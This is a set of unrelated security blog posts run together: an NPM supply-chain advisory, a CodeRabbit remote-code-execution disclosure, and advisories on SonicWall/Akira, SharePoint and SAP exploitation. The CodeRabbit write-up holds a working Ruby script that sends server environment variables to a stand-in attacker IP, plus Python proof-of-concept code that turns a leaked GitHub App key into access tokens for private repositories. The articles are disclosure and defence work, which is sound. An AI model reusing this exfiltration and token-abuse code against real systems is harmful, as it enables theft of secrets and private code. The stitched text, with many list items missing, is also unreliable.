
A significant supply chain attack has compromised the NPM account of the developer known as qix, leading to the distribution of malicious versions of numerous widely used packages. This attack has affected packages with a combined weekly download count exceeding 2-3 billion, posing a substantial threat to the JavaScript ecosystem. The malicious code, identified as a crypto-clipper, is designed to intercept and manipulate cryptocurrency transactions by swapping wallet addresses and hijacking transactions.
The attack primarily targets the following NPM packages, which are widely used across various projects:
The GitHub code repositories for these packages were not affected; the attack was confined to the NPM registry.
1. Phishing Attack
[email protected]). This email was designed to trick the package maintainer into providing their credentials, including two-factor authentication (2FA) codes.2. Account Compromise
3. Malware Injection
index.js files of the compromised packages. This malware is a sophisticated browser-based interceptor that hooks into JavaScript functions like fetch, XMLHttpRequest, and wallet APIs (window.ethereum, Solana, etc.).4. Malware Functionality
5. Technical Implementation
window.ethereum to determine if a crypto wallet is being used, and if so, it hooks into the wallet's communication methods (request, send, sendAsync).1. Audit Dependencies: Developers should immediately audit their project's dependencies to identify and remove any compromised packages. This includes checking node_modules and package-lock.json for malicious code. As a direct method of detection, you can scan your node_modules directory for the malicious code using this command, which searches for a unique string found in the payload: grep -r "const _0x112" node_modules/
2. Pin Safe Versions: Use the overrides feature in package.json to pin affected packages to their last known-safe versions. For example:
{
"name": "your-project",
"version": "1.0.0",
"overrides": {
"chalk": "5.3.0",
"strip-ansi": "7.1.0",
"color-convert": "2.0.1",
"color-name": "1.1.4",
"error-ex": "1.3.2",
"has-ansi": "5.0.1"
}3. Reinstall Dependencies: Delete node_modules and package-lock.json, then run npm install to generate a new, clean lockfile.
4. Verify Transactions: Users should meticulously verify all cryptocurrency transactions to ensure the recipient addresses are correct. See this GitHub Gist for a list of all wallets.
5. Monitor for Indicators of Compromise: Check for the presence of the function checkethereumw in your codebase as an indicator of compromise.
In this blog post, we explain how we got remote code execution (RCE) on CodeRabbit’s production servers, leaked their API tokens and secrets, how we could have accessed their PostgreSQL database, and how we obtained read and write access to 1 million code repositories, including private ones.
This blog post is a detailed write-up of one of the vulnerabilities we disclosed at Black Hat USA this year. The details provided in this post are meant to demonstrate how these security issues can manifest and be exploited in the hopes that others can avoid similar issues. This is not meant to shame any particular vendor; it happens to everyone. Security is a process, and avoiding vulnerabilities takes constant vigilance.
Note: The security issues documented in this post were quickly remediated in January of 2025. We appreciate CodeRabbit’s swift action after we reported this security vulnerability. They reported to us that within hours, they addressed the issue and strengthened their overall security measures responding with the following:
More information from CodeRabbit on their response can be found here: https://www.coderabbit.ai/blog/our-response-to-the-january-2025-kudelski-security-vulnerability-disclosure-action-and-continuous-improvement
Last December, I spoke at 38C3 in Hamburg and covered 2 security flaws I discovered in Qodo Merge. After getting off the stage, someone came to me and asked whether I had looked at other AI code review tools, such as CodeRabbit. I thanked them and said this would be a great target to have a look at. Fast forward a couple of weeks, and here I am, having a look at their security.

CodeRabbit is an AI code review tool. Their website mentions it’s the most installed AI app on GitHub & Gitlab, with 1 million repositories in review and 5 million pull requests reviewed.

Indeed, the application is the most installed GitHub app in the AI Assisted category on GitHub Marketplace. It is also on the first page of the most installed GitHub apps overall across all categories on GitHub Marketplace.

Once CodeRabbit is installed on a repository, every time a new pull request (PR) is created or updated, the application will analyze the code changes in the PR and review them using AI. CodeRabbit will finally post its code review as a comment on the pull request, where the developer can read it.
This is a very useful developer productivity tool that can summarize PRs, find security issues in the code, suggest code improvements or even document the code or illustrate it by generating diagrams. It can save developers a lot of time.
There are multiple pricing plans, and one of them is called Pro. That one includes support for linters and SAST tools, such as Semgrep. Alternatively, there’s a free 14-day trial for the Pro plan. Also, the Pro plan comes for free for people working on open source projects.

I registered for the free trial and logged in using my GitHub account.

When first logging into CodeRabbit using GitHub, the application asks to install and authorize on a personal GitHub account. The user is asked to select which repositories the application should be installed to. The user can also review the permissions that the CodeRabbit GitHub app will be granted. Namely, read and write access to code in the selected repositories.

At this point, this sounded very similar to what happened with Qodo Merge. I had to look into it. If somehow we could leak the GitHub API token, we would get read and write access to the repository in which CodeRabbit was installed.
I immediately created a private GitHub repository on my personal GitHub account and granted the application access to that new repository so that it starts reviewing my PRs on that repo.
In order to get more familiar with the features and how to use them, I created a PR and saw that a comment containing a code review was posted by the CodeRabbit bot. Here are a few screenshots of what it generated.



Now that I had a better idea of how it worked, I could start looking for vulnerabilities.
I had a look at the official documentation and noticed that CodeRabbit supported running dozens of static analysis tools. These are the linters and SAST tools mentioned on the pricing page discussed above.
The application runs these tools on your PR changes depending on a few conditions:
.php extensionSome tools are enabled by default and will run if corresponding files exist. Otherwise, a .coderabbit.yaml file placed in the repository can be used to configure which tools should be enabled. Alternatively, the CodeRabbit web app settings can be used to configure tools.
The documentation page also states that each tool can be configured by providing a path to a configuration file read by the tool. Now we’re talking!
Since CodeRabbit executes these external tools, if any of these tools have a way to inject code, we may be able to run arbitrary code. So I glanced over the list of supported tools and found an interesting target: Rubocop, a Ruby static analyzer. The CodeRabbit documentation page for Rubocop states that Rubocop will run on Ruby files (.rb) in the repository. It also says that CodeRabbit will look for a .rubocop.yml file anywhere in the repository and pass it to Rubocop.


Looking at Rubocop’s documentation, we see that it supports extensions. One can use the Rubocop configuration file to specify the path to an extension Ruby file, for example, ext.rb, which will be loaded and executed by Rubocop. To do so, one can include the following snippet in .rubocop.yml:
require:
- ./ext.rbIn ext.rb, we can write arbitrary Ruby code that will be loaded and executed when Rubocop runs. We’ll use 1.2.3.4 as an example IP address that stands in for an attacker-controlled system. For example, the following Ruby script will collect the environment variables and send them to an attacker-controlled server at 1.2.3.4:
require 'net/http'
require 'uri'
require 'json'
# Collect environment variables
env_vars = ENV.to_h
# Convert environment variables to JSON format
json_data = env_vars.to_json
# Define the URL to send the HTTP POST request
url = URI.parse('http://1.2.3.4/')
begin
# Create the HTTP POST request
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Post.new(url.path)
request['Content-Type'] = 'application/json'
request.body = json_data
# Send the request
response = http.request(request)
rescue StandardError => e
puts "An error occurred: #{e.message}"
endExploiting this is as simple as following these steps:
.rubocop.yml file as shown aboveext.rb file as shown aboveHere’s an illustration of our malicious pull request to better understand how it works:

An illustration of what the malicious pull request looks like
After we created our malicious PR, CodeRabbit ran Rubocop on our code, which executed our malicious code and sent its environment variables to our server at 1.2.3.4.
On the server at 1.2.3.4, the following JSON payload containing environment variables was received:
{
"ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSORED)",
"APERTURE_AGENT_ADDRESS": "(CENSORED)",
"APERTURE_AGENT_KEY": "(CENSORED)",
"AST_GREP_ESSENTIALS": "ast-grep-essentials",
"AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-rules",
"AWS_ACCESS_KEY_ID": "",
"AWS_REGION": "",
"AWS_SECRET_ACCESS_KEY": "",
"AZURE_GPT4OMINI_DEPLOYMENT_NAME": "",
"AZURE_GPT4O_DEPLOYMENT_NAME": "",
"AZURE_GPT4TURBO_DEPLOYMENT_NAME": "",
"AZURE_O1MINI_DEPLOYMENT_NAME": "",
"AZURE_O1_DEPLOYMENT_NAME": "",
"AZURE_OPENAI_API_KEY": "",
"AZURE_OPENAI_ENDPOINT": "",
"AZURE_OPENAI_ORG_ID": "",
"AZURE_OPENAI_PROJECT_ID": "",
"BITBUCKET_SERVER_BOT_TOKEN": "",
"BITBUCKET_SERVER_BOT_USERNAME": "",
"BITBUCKET_SERVER_URL": "",
"BITBUCKET_SERVER_WEBHOOK_SECRET": "",
"BUNDLER_ORIG_BUNDLER_VERSION": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_BIN_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_GEMFILE": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"BUNDLER_ORIG_RB_USER_INSTALL": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"CI": "true",
"CLOUD_API_URL": "https://(CENSORED)",
"CLOUD_RUN_TIMEOUT_SECONDS": "3600",
"CODEBASE_VERIFICATION": "true",
"CODERABBIT_API_KEY": "",
"CODERABBIT_API_URL": "https://(CENSORED)",
"COURIER_NOTIFICATION_AUTH_TOKEN": "(CENSORED)",
"COURIER_NOTIFICATION_ID": "(CENSORED)",
"DB_API_URL": " https://(CENSORED)",
"ENABLE_APERTURE": "true",
"ENABLE_DOCSTRINGS": "true",
"ENABLE_EVAL": "false",
"ENABLE_LEARNINGS": "",
"ENABLE_METRICS": "",
"ENCRYPTION_PASSWORD": "(CENSORED)",
"ENCRYPTION_SALT": "(CENSORED)",
"FIREBASE_DB_ID": "",
"FREE_UPGRADE_UNTIL": "2025-01-15",
"GH_WEBHOOK_SECRET": "(CENSORED)",
"GITHUB_APP_CLIENT_ID": "(CENSORED)",
"GITHUB_APP_CLIENT_SECRET": "(CENSORED)",
"GITHUB_APP_ID": "(CENSORED)",
"GITHUB_APP_NAME": "coderabbitai",
"GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE KEY-----\n(CENSORED)-\n-----END RSA PRIVATE KEY-----\n",
"GITHUB_CONCURRENCY": "8",
"GITHUB_ENV": "",
"GITHUB_EVENT_NAME": "",
"GITHUB_TOKEN": "",
"GITLAB_BOT_TOKEN": "(CENSORED)",
"GITLAB_CONCURRENCY": "8",
"GITLAB_WEBHOOK_SECRET": "",
"HOME": "/root",
"ISSUE_PROCESSING_BATCH_SIZE": "30",
"ISSUE_PROCESSING_START_DATE": "2023-06-01",
"JAILUSER": "jailuser",
"JAILUSER_HOME_PATH": "/home/jailuser",
"JIRA_APP_ID": "(CENSORED)",
"JIRA_APP_SECRET": "(CENSORED)",
"JIRA_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_SECRET": "(CENSORED)",
"JIRA_HOST": "",
"JIRA_PAT": "",
"JIRA_SECRET": "(CENSORED)",
"JIRA_TOKEN_URL": "https://auth.atlassian.com/oauth/token",
"K_CONFIGURATION": "pr-reviewer-saas",
"K_REVISION": "pr-reviewer-saas-(CENSORED)",
"K_SERVICE": "pr-reviewer-saas",
"LANGCHAIN_API_KEY": "(CENSORED)",
"LANGCHAIN_PROJECT": "default",
"LANGCHAIN_TRACING_SAMPLING_RATE_CR": "50",
"LANGCHAIN_TRACING_V2": "true",
"LANGUAGETOOL_API_KEY": "(CENSORED)",
"LANGUAGETOOL_USERNAME": "(CENSORED)",
"LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib:/usr/libexec/swift/5.10.1/usr/lib",
"LINEAR_PAT": "",
"LLM_PROVIDER": "",
"LLM_TIMEOUT": "300000",
"LOCAL": "false",
"NODE_ENV": "production",
"NODE_VERSION": "22.9.0",
"NPM_CONFIG_REGISTRY": "http://(CENSORED)",
"OAUTH2_CLIENT_ID": "",
"OAUTH2_CLIENT_SECRET": "",
"OAUTH2_ENDPOINT": "",
"OPENAI_API_KEYS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)",
"OPENAI_BASE_URL": "",
"OPENAI_ORG_ID": "",
"OPENAI_PROJECT_ID": "",
"PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PINECONE_API_KEY": "(CENSORED)",
"PINECONE_ENVIRONMENT": "us-central1-gcp",
"PNPM_HOME": "/pnpm",
"PORT": "8080",
"POSTGRESQL_DATABASE": "(CENSORED)",
"POSTGRESQL_HOST": "(CENSORED)",
"POSTGRESQL_PASSWORD": "(CENSORED)",
"POSTGRESQL_USER": "(CENSORED)",
"PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724b50e2d/home/jailuser/git",
"REVIEW_EVERYTHING": "false",
"ROOT_COLLECTION": "",
"SELF_HOSTED": "",
"SELF_HOSTED_KNOWLEDGE_BASE": "",
"SELF_HOSTED_KNOWLEDGE_BASE_BRANCH": "",
"SENTRY_DSN": "https://(CENSORED)",
"SERVICE_NAME": "pr-reviewer-saas",
"SHLVL": "0",
"TELEMETRY_COLLECTOR_URL": "https://(CENSORED)",
"TEMP_PATH": "/inmem",
"TINI_VERSION": "v0.19.0",
"TRPC_API_BASE_URL": "https://(CENSORED)",
"VECTOR_COLLECTION": "",
"YARN_VERSION": "1.22.22",
"_": "/usr/local/bin/rubocop"
}That payload contained so many secrets that it actually took me a few minutes to grasp what we had gotten access to. The environment variables contained, notably:
Leaking environment variables is one thing, but since we obtained remote code execution (RCE) on that server, there is even more that an attacker could have done. Indeed, they could connect to the Postgres database server on the internal network. They could perform destructive operations. They could likely obtain the source code of the CodeRabbit app itself which is potentially somewhere in the Docker container where the external tool runs.
Before exploring the leaked environment variables further, we performed a few minimal reconnaissance operations, such as listing a few directories and reading the contents of a couple files on the production system, just to confirm the impacts. But this process was not really efficient and we were not able to quickly confirm the presence of the original source code of the webapp there. However, the built application was there in the /app/pr-reviewer-saas/dist directory.
Additionally, since this was a production server, we didn’t want to do anything that could disrupt the service and decided to stop there.
But there was more. Let’s go back to the exfiltrated environment variables.
As mentioned above, one of the environment variables was named GITHUB_APP_PEM_FILE and its value contained a private key. This is actually the private key of the CodeRabbit GitHub app. This private key can be used to authenticate to the GitHub REST API and act on behalf of the CodeRabbit GitHub app. Since users have granted CodeRabbit write access to their repositories, this private key gives us write access to 1 million repositories!
Let’s go through a few operations that one can perform with this private key.
As of this writing, the CodeRabbit GitHub app was installed over 80’000 times. Basically, this tells us that at least that amount of GitHub personal accounts or organizations installed CodeRabbit and use it for at least one of their repositories. But these accounts may very well have granted access to more than one repository, or even all of their repositories.
The website states that they review 1M repositories. These include GitHub repositories, but likely also repositories from other platforms that CodeRabbit supports, such as Gitlab, and on-premises git providers.
We will see below (see Proof of concept) how one can programatically list GitHub app installations using the GitHub API.
For a given installation, one can list the GitHub repositories to which this installation has been granted access.
We can also see that the installation has read/write access to the code of the repository, among other permissions. For reference, this is the list of permissions the CodeRabbit app has on the repositories it has access to:
"permissions": {
"actions": "read",
"checks": "read",
"contents": "write",
"discussions": "read",
"issues": "write",
"members": "read",
"metadata": "read",
"pull_requests": "write",
"statuses": "write"
},Note that these permissions are public information that anyone can see here.
A GitHub API access token can be created for the CodeRabbit app installation. This access token has all the permissions listed above and can be used on all the repositories the app installation has access to. It can be used to, for example, clone the repository or push git commits to it, since we not only have read access but also write access to the contents. This can also be used to update GitHub releases, including the downloadable files (the assets), and replace them with malware and therefore serve malware directly from the targeted official GitHub repository.
The access token is valid for at most 10 minutes, but since we have the private key, more access tokens can be generated at any time, even if they expire.
But this gets even scarier. Generated access tokens can also be used to clone private repositories (!) that the user has granted CodeRabbit access to. Indeed, as long as the user has granted CodeRabbit access to a repository, the private key can be used to access it. It doesn’t matter if it’s public or private.
Therefore, a malicious person could exploit the vulnerability to leak the CodeRabbit GitHub app private key, list all the installations, list each repository, generate an access token for each repository, and clone private repositories, serve malware from public repositories or manipulate the git history of a repository. This could be used to perform lateral movement and potentially leak GitHub repository secrets of the GitHub repository through GitHub actions if the targeted repository contains vulnerable GitHub actions.
Here’s an example of how this can be achieved using the PyGitHub Python library, assuming that the private key is stored in a file called priv.pem and that we have the app ID and client ID (also leaked from the environment variables):
#!/usr/bin/env python3
import json
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "TODO_insert_app_id_here"
client_id = "Iv1.TODO_insert_client_id_here"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def create_access_token(install_id, jwt):
response = requests.post(
f"https://api.github.com/app/installations/{install_id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
return access_token
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
app = gi.get_app()
# iterate through app installations, get the first 5
for installation in gi.get_installations().reversed[:5]:
install_id = installation.id
# or access an installation by its ID directly
installation = gi.get_app_installation(install_id)
jwt = gen_jwt()
create_access_token(install_id, jwt)
# get all github repositories this installation has access to
repos = installation.get_repos()
for repo in repos:
full_name = repo.full_name
stars = repo.stargazers_count
html_url = repo.html_url
is_private_repo = repo.private
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
# repo can be cloned with "git clone {clone_url}"
# access token is valid for 10 minutes, but a new one can be generated whenever needed
if __name__ == "__main__":
auth()Obviously, iterating through the list of all GitHub installations would have required making thousands of requests to the GitHub API on behalf of the production CodeRabbit GitHub app and this may have exceeded the API quota. We didn’t want to risk disrupting the production service so we only iterated through a couple installations to confirm the PoC was working.
We mentioned earlier that we couldn’t confirm the presence of the original source code of the application on the production Docker container. Well, since CodeRabbit eats their own dog food, they run their application on their own GitHub repositories. We can therefore easily retrieve the app installation ID for their GitHub organization and list the repositories this app installation has access to.
This is the list of private repositories the coderabbitai GitHub organization has granted CodeRabbit access to:
To go further, one can generate an access token (as explained above) and clone these private repositories.
Here’s the PoC to do this. Note that it’s similar to the above, except that we directly retrieve the app installation for a specific GitHub organization by its name, instead of iterating through all the installations:
#!/usr/bin/env python3
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "CENSORED"
client_id = "CENSORED"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
# Target a specific Github organization that uses CodeRabbit
org = "coderabbitai"
installation = gi.get_org_installation(org)
# Target a specific Github user that uses CodeRabbit
# user = "amietn"
# installation = gi.get_user_installation(user)
print(installation.id)
gen_token = True
if gen_token:
jwt = gen_jwt()
response = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
repos = installation.get_repos()
print("---repos---")
for repo in repos:
full_name = repo.full_name
html_url = repo.html_url
private = repo.private
if private:
print(f"* {full_name} ({private=}) - {html_url}")
if gen_token:
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
if __name__ == "__main__":
auth()In a similar way, a malicious person could target not only a specific GitHub organization but also a specific GitHub personal account that uses CodeRabbit and access their private repositories and/or modify them.
As you can see, one can directly obtain the app installation ID for an organization or a user. So, this way there is no need to iterate through all the GitHub app installations to find a specific GitHub user or organization. Only the organization or user’s name is required.
Let’s take a moment to summarize the impacts of getting write access to these 1 million repositories. A malicious person could have performed the following operations on affected repositories:
Additionally, we obtained RCE on the CodeRabbit production system. A malicious person could have performed destructive operations, caused a denial of service, or performed malicious operations on third party systems (see list of leaked secrets above).
While running the exploit, CodeRabbit would still review our pull request and post a comment on the GitHub PR saying that it detected a critical security risk, yet the application would happily execute our code because it wouldn’t understand that this was actually running on their production system.

CodeRabbit supports running dozens of external tools. These tools may get updates and new tools may be supported. Both cases may open the door to new ways of running arbitrary code. Therefore, trying to prevent arbitrary code execution through these tools sounds like an impossible task.
Instead, it would be best to assume that the user may be able to run untrusted code through these tools. So, running them in an isolated environment, with only the minimum information required to run the tools themselves, and not passing them any environment variables would be much better. Even if arbitrary code execution would be possible, the impact would be much less severe.
For defense in depth, one should add a mechanism that prevents sending private information to an attacker-controlled server. For example, only allow outgoing traffic to whitelisted hosts, if possible. If the tool doesn’t require internet access, then all network traffic may even be disabled in that isolated environment. This way it would make it harder for an attacker to exfiltrate secrets.
After responsibly disclosing this critical vulnerability to the CodeRabbit team, we learned from them that they had an isolation mechanism in place, but Rubocop somehow was not running inside it. The CodeRabbit team was extremely responsive and acknowledged receipt of the disclosure the same day. They immediately disabled Rubocop and rotated the secrets and started working on a fix. The next week they told us that the vulnerability had been fixed. Kudos to the CodeRabbit team for responding promptly and fixing the issue.
Here is a summary of the disclosure timeline:
In the end, we only provided PoCs and didn’t take things further. A patient attacker could have enumerated the available access, identified the highest value targets, and then attacked those targets to distribute malware to countless others in a larger supply chain attack. Security is hard, and a variety of factors can come together to create security issues. Being quick to respond and remediate, as the CodeRabbit team was, is a critical part of addressing vulnerabilities in modern, fast-moving environments. Other vendors we contacted never responded at all, and their products are still vulnerable.
In the race to bring AI-powered products to market, many companies prioritize speed over security. While rapid innovation is exciting, overlooking security can have catastrophic consequences, as we’ve seen. The solution isn’t to stop but to build security into the development process from day one. By making security a core priority, AI companies can create products that are not only groundbreaking but also resilient and responsible. After all, true innovation isn’t just about moving fast. It’s about building something resilient and safe for users.
Hello everyone. Today, we are releasing the slides from our Black Hat USA presentation Hack To The Future: Owning AI-Powered Tools With Old School Vulns. During our research, we identified vulnerabilities in AI-powered developer productivity tools. These tools extend far beyond AI coding assistants.
We also identified some common trends and themes that we encountered during our research and made some recommendations for organizations when looking for issues in these tools, as well as how to protect themselves.
There was too much content to cover, so the slides have a bonus content section. Also, follow us for more content coming soon.
Please contact us if you have any questions or would like to learn more. Thank you for attending, and enjoy.
SonicWall has clarified that the recent cyber activity affecting Gen 7 firewalls with SSL-VPN enabled is not the result of a zero-day vulnerability, but is instead linked to CVE-2024-40766. This is an improper access control vulnerability first disclosed in August 2024. This flaw affects the SonicOS management interface and SSL-VPN components, and under certain conditions, can lead to unauthorized resource access. The issue was originally addressed in SonicWall advisory SNWLID-2024-0015.
According to SonicWall and corroborating incident response data, many affected deployments involve migrations from Gen 6 to Gen 7 firewalls where local user accounts and passwords were imported without being reset. These legacy credentials, combined with suboptimal configuration hardening, created conditions susceptible to credential-based attacks, including brute-force and MFA bypass attempts.
SonicWall is urging customers who have migrated configurations from Gen 6 appliances to:
Environments not yet upgraded to SonicOS 7.3 remain more vulnerable, as they lack recent mitigations that improve authentication hardening and brute-force resistance.
In late July 2025, the Cyber Fusion Center (CFC) observed and investigated multiple incident response engagements involving network intrusions traced to SonicWall SSL-VPN devices, followed shortly by ransomware deployment. These attacks are attributed to the Akira ransomware group, whose affiliates are actively exploiting CVE-2024-40766 in SonicWall’s VPN/firewall appliances. The vulnerability enables attackers to gain initial access even on fully-patched devices and despite multi-factor authentication (MFA), effectively bypassing usual login protections.
Confirmed intrusions have been reported across organizations in North America and Europe. Once the SonicWall device is compromised, the threat actors rapidly pivot to internal networks where they steal credentials, disable security tools, and ultimately execute Akira ransomware to encrypt systems. These findings are based on direct forensic evidence collected and analyzed during active incident response operations led by the CFC across multiple victim environments. No official patch is currently available, and SonicWall has not yet publicly disclosed full technical details. At the moment, the only way to avoid the impact at this time is to disable the SSL-VPN service until a patch is available.
UDPATE: The surge of attacks is linked to CVE-2024-40766.
Current evidence indicates that the exploitation is limited to SonicWall Gen 7 firewalls, specifically TZ and NSa-series models, with SSL-VPN enabled.
All seventh-generation SonicWall firewalls running SonicOS (e.g. TZ and NSa models) with SSL-VPN enabled are at risk. Huntress confirms the suspected vulnerability exists in firmware versions 7.2.0-7015 and earlier. Environments with these devices exposed to the internet for VPN access are the primary targets.
SonicWall SMA series remote access devices (which provide SSL-VPN functionality) have also been implicated in the observed incidents. Both traditional firewalls and SMA VPN appliances are being targeted in similar ways.
There are no current indications that SMA 100-series appliances or Gen 6 models are affected. However, organizations using any SonicWall appliance with SSL-VPN enabled should perform proactive threat hunting and consider disabling VPN exposure until more is known.
The attack begins with a direct compromise of the SonicWall appliance itself. The threat actor gains unauthenticated access to the firewall, bypassing both login and multi-factor authentication (MFA) mechanisms. This provides the adversary with a foothold inside the network perimeter via the exposed VPN service. Indicators strongly suggest a novel flaw: multiple incidents involved fully-patched SonicWall devices being breached and MFA controls rendered ineffective. (While brute-force or stolen credentials were considered, many victims had recently rotated credentials, and some attacks progressed even with MFA, pointing to a sophisticated exploit.) In each case, the attacker gains unauthorized VPN access to the network via the SonicWall appliance as the entry point.
Once access is established, the Akira ransomware group executes a structured, multi-stage operation:
By installing a Cloudflared tunnel and an SSH backdoor, the threat actors ensure continued clandestine access even if the VPN hole is later closed.
Armed with high privileges, the threat actors expand across the network. They utilize a mix of “living off the land” techniques and custom tools to map out and dominate the environment.
Set-MpPreference to disable Windows Defender.netsh.exe to disable the firewall or add new firewall rules.The threat actors methodically disable security tools and logging to avoid detection. They use Windows utilities and commands to impair defenses.
In several cases, the attackers prepared data for exfiltration prior to encryption. They were observed compressing files and sensitive data using tools like WinRAR (command-line usage to archive data), and in some instances using FTP tools (e.g., FileZilla’s command-line fzsftp.exe) to export stolen data.
To ensure full protection and minimize exposure, the Cyber Fusion Center (CFC) recommends the following immediate actions:
The CFC is currently
The CFC will continue to monitor the situation and send an advisory update if needed. At the moment, the only way to avoid the impact at this time is to disable the SSL-VPN service until a patch is available.
Hash | FFED1A30D2CF18FE9278AB9FEEDCC65E7FF3E07DE4208C253C854C3B3E0F4ED0 | Hash of the ransomware executable
Hostname | DESKTOP-ER0LK0E | Artefact hostname they often use
Hostname | DESKTOP-MA79SEI | Artefact hostname they often use
A critical zero-day vulnerability (now assigned CVE-2025-53770) has been identified in Microsoft SharePoint Server, affecting multiple on-premises versions.
The flaw allows unauthenticated remote code execution through a deserialization vulnerability in the ToolPane interface.
Attackers are currently exploiting the bug in the wild as part of a broader campaign targeting enterprise and government infrastructure.
This issue is a variant of the ToolShell exploit chain (CVE-2025-49706 and CVE-2025-49704), bypassing prior patches released in July 2025. It is currently being used to deploy web shells, extract MachineKey secrets, and maintain persistent access on compromised systems.
CVE ID: CVE-2025-53770
Severity: Critical (CVSS 9.8)
Status: Actively Exploited
Type: Unauthenticated Remote Code Execution via Deserialization
Affected Product: Microsoft SharePoint Server (on-premises)
The following Microsoft SharePoint on-premises versions are impacted:
CVE-2025-53770 is a .NET deserialization vulnerability in Microsoft SharePoint Server that allows unauthenticated remote code execution. The flaw lies in the improper handling of serialized data sent to the /_layouts/15/ToolPane.aspx endpoint when accessed with a specially crafted HTTP request.
By sending a malicious HTTP POST request to this endpoint with a Referer header set to /_layouts/SignOut.aspx the attacker can trigger vulnerable server-side logic that deserializes untrusted input.
The attacker injects a malformed .NET serialized object (typically crafted using tools like ysoserial.net) into the request body.
When this payload is deserialized by SharePoint’s backend components, it results in arbitrary code execution in the context of the SharePoint service account.
This vulnerability is a variant of the ToolShell exploit chain (CVE-2025-49704 and CVE-2025-49706), and it effectively bypasses Microsoft’s July 2025 security patches by exploiting a different logical path involving SignOut.aspx as a misleading referer.
Post-exploitation, attackers are observed:
File-based IOCs:
Log-based IOCs:
Known Malicious IP Addresses:
Defender AV/EDR Alerts:
The vulnerability can be identified with the following vulnerability scanners modules:
Microsoft has released out-of-band patches:
2. Enable/Verify AMSI & Defender Antivirus
3. Rotate ASP.NET MachineKeys
A guide published by Microsoft on rotating ASP.NET MachineKeys is available here: Improved ASP.NET view state security and key management – SharePoint Server | Microsoft Learn
4. Incident Detection and Response
A proof-of-concept (PoC) for CVE-2025-53770 is now publicly available, increasing the risk of widespread exploitation.
Indicators of compromise may be broader than those observed in the initial wave of attacks. Security teams should expand detection criteria and review historical telemetry for additional signs of compromise, including unusual child processes spawned by w3wp.exe, suspicious modules loaded and unkown dropped files.
The CFC will continue to monitor the situation and send an advisory update if needed. Immediate action is required to mitigate potential exploitation by applying patches, restricting access, and enhancing security monitoring. Organizations should prioritize these measures to safeguard their edge devices against potential threats.
On the 27th of March 2025, we’ve seen a previously unknown vulnerability (now tagged as CVE-2025-31324) in SAP NetWeaver Visual Composer being exploited in the wild, targeting exposed enterprise systems. The vulnerability allowed unauthenticated attackers to upload malicious JSP files and gain remote code execution, a critical risk for organizations running unpatched instances.
While technical details of the vulnerability have already been thoroughly documented elsewhere, this article focuses on a different aspect of the event: the observable indicators and adversary infrastructure used during the exploitation window.
After successful exploitation of the SAP NetWeaver Visual Composer vulnerability, attackers deployed JSP-based webshells to maintain access and issue follow-up commands. These webshells acted as a lightweight interface for remote interaction with the compromised systems.
